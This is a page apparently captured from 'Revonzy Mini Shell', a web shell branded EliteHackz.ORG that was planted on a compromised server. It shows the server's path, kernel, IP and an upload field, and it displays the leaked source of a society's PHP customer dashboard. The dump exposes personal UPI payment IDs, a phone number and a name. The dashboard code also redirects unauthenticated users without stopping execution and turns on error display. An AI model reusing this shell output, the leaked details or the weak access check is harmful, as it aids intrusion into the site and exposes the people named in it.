Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/vahtuksanghatana.com/vahtuk_society/mahasangh user design/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/vahtuksanghatana.com/vahtuk_society/mahasangh user design/dashboard.php

<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
require_once('../lib/functions.php');

$db = new login_function();
$success_msg = 0;

if (isset($_SESSION['current_login_admin'])) {
     $current_login_admin = $_SESSION['current_login_admin'];
}

if (!isset($_SESSION['current_login_admin'])) {
    header("location:Login.php");
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Customer Dashboard</title>
    <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500&display=swap" rel="stylesheet">
<style>
    /* General Body and Container Styling */
    body {
        font-family: 'Roboto', sans-serif;
        background: #f7f7f7;
        margin: 0;
        padding: 0;
        display: flex;
        flex-direction: column;
        align-items: center;
    }

    .dashboard-container {
        width: 90%;
        max-width: 900px;
        padding: 20px;
        margin-top: 50px;
    }

    /* Header Styling */
    .header {
        background: linear-gradient(#e66465, #9198e5);
        color: black;
        padding: 20px;
        text-align: center;
        border-radius: 8px;
    }

    .header h1 {
        margin: 0;
    }

    /* Dashboard Sections (Cards) */
    .dashboard-sections {
        display: grid;
        grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
        gap: 20px;
        margin-top: 30px;
    }

    .card {
        background-color: white;
        padding: 20px;
        border-radius: 8px;
        box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        text-align: center;
        transition: transform 0.3s ease;
    }

    .card:hover {
        transform: translateY(-5px);
    }

    .card h3 {
        margin: 10px 0;
        color: #333;
    }

    .card p {
        font-size: 14px;
        color: #666;
    }

    .card .action-btn {
        background: linear-gradient(#e66465, #9198e5);
        color: black;
        font-weight: 400;
        padding: 10px 20px;
        border: none;
        border-radius: 5px;
        cursor: pointer;
        text-decoration: none;
        display: inline-block;
        margin-top: 10px;
        transition: background-color 0.3s ease;
    }

    .card .action-btn:hover {
        background-color: #0056b3;
    }

    /* QR Code Card Styling */
    .qr-section {
        display: flex;
        gap: 20px;
        margin-top: 40px;
        flex-wrap: wrap;
        justify-content: center;
    }

    .qr-card {
        background-color: #e0f7fa;
        padding: 20px;
        border-radius: 8px;
        text-align: center;
        box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        width: 400px;
        transition: transform 0.3s ease;
    }

    .qr-card:hover {
        transform: translateY(-5px);
    }

    .qr-container {
        margin-bottom: 15px;
    }

    .qr-code {
        width: 150px;
        height: 150px;
    }

    .qr-number {
        font-weight: bold;
        color: #333;
    }
   .card  img{
        height: 350px;
        width: 100%;
    }
    .card p
    {
        font-size: 20px;
        margin-top: 15px;
    }


    /* Logout Button Styling */
    .logout-btn {
        background: linear-gradient(#e66465, #9198e5);
        color: black;
        padding: 12px 25px;
        border: none;
        border-radius: 5px;
        cursor: pointer;
        font-size: 16px;
        margin-top: 30px;
        display: block;
        width: 100%;
        text-align: center;
        transition: background-color 0.3s ease;
    }

    .logout-btn:hover {
        background-color: #e60000;
    }

    /* Media Queries for responsiveness */
    @media (max-width: 768px) {
        .dashboard-sections {
            grid-template-columns: 1fr 1fr;
        }

        .qr-section {
            flex-direction: column;
            align-items: center;
        }
    }

    @media (max-width: 480px) {
        .dashboard-sections {
            grid-template-columns: 1fr;
        }

        .qr-section {
            flex-direction: column;
            align-items: center;
        }
    }
    .download-link {
    display: inline-block;
    margin-top: 10px;
    padding: 8px 15px;
    background-color: #4CAF50;
    color: white;
    text-decoration: none;
    border-radius: 5px;
    font-weight: bold;
    transition: background-color 0.3s ease;
}

.download-link:hover {
    color: #fff;
}
</style>
</head>

<body>
<?php    
    include('navbar.php'); 
?>
<div class="dashboard-container">
    <!--  <div class="header">
        <h1><?php echo $current_login_admin ; ?> Welcome to Your Dashboard</h1>
    </div> -->

    <div class="dashboard-sections">
        <div class="card">
            <h3>Statements</h3>
            <a href="account_status.php" class="action-btn">View Account Status</a>
        </div>
        <div class="card">
            <h3>Profile</h3>
            <a href="profile_view.php" class="action-btn">View Profile</a>
        </div>
        <div class="card">
            <h3>Change Password</h3>
            <a href="change_password.php" class="action-btn">Change Password</a>
        </div>
    </div>

    <div class="qr-section">
        <div class="card qr-card">
            <h3>PhonePe</h3>
               <img src="images/p_pay.jpeg" alt="PhonePe QR Code" class="qr-code">
            <p>abuhurera sayyad: 
                <a href="upi://pay?pa=9595552552@ybl&pn=abuhurera%20sayyad&mc=0000&tid=1234567890&url=https://www.phonepe.com" class="qr-number">
                    9595552552@ybl
                </a>
            </p>
            <a href="images/p_pay.jpeg" download="PhonePe_QR_Code" class="download-link">Download QR Code</a>
        </div>
        <div class="card qr-card">
            <h3>Google Pay</h3>
                <img src="images/g_pay.jpeg" alt="Google Pay QR Code" class="qr-code">
            <p>UPI ID : <span class="qr-number">riyazahemad85-2@okhdfcbank</span></p>
                  <a href="images/g_pay.jpeg" download="G_pay_QR_Code" class="download-link">Download QR Code</a>
  
        </div>
    </div>
</div>
    <script>
        function logout() {
            alert("You have been logged out.");
            window.location.href = "Login.php?logout";
        }
    </script>
    
<?php    
    include('footer.php'); 
?>
</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4